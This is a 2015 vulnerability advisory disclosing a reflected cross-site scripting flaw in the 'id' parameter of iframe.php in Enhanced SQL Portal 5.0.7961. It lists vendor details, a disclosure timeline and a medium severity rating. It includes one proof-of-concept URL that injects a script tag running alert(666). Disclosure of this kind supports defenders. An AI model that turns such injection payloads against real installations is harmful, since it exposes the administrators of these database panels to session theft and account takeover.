Enhanced SQL Portal 5.0.7961 Cross Site Scripting

`[+] Credits: John Page ( hyp3rlinx )  
  
[+] Domains: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/AS-ENHSQLPORTAL0602.txt  
  
  
  
Vendor:  
www.eliacom.com  
www.eliacom.com/mysql-gui-download.php  
  
  
  
Product:  
============  
Enhanced SQL Portal 5.0.7961 web based MySQL administration application.  
  
  
  
Advisory Information:  
================================================  
Enhanced SQL Portal 5.0.7961 XSS Vulnerability  
  
  
  
Vulnerability Details:  
=====================  
iframe.php contains an XSS vulnerability  
  
  
  
Exploit code(s):  
===============  
  
  
http://localhost/Enhanced_SQL_Portal_5.0.7961_05_06_2015/iframe.php?id=  
"/><script>alert(666)</script>  
  
  
  
Disclosure Timeline:  
=========================================================  
  
  
Vendor Notification: May 28, 2015  
June 2, 2015 : Public Disclosure  
  
  
Severity Level:  
=========================================================  
Med  
  
  
  
Description:  
==========================================================  
  
Request Method(s):  
[+] GET  
  
Vulnerable Product:  
[+] Enhanced SQL Portal 5.0.7961  
  
Vulnerable Parameter(s):  
[+] id  
  
Affected Area(s):  
[+] iframe  
  
===============================================================  
  
(hyp3rlinx)  
`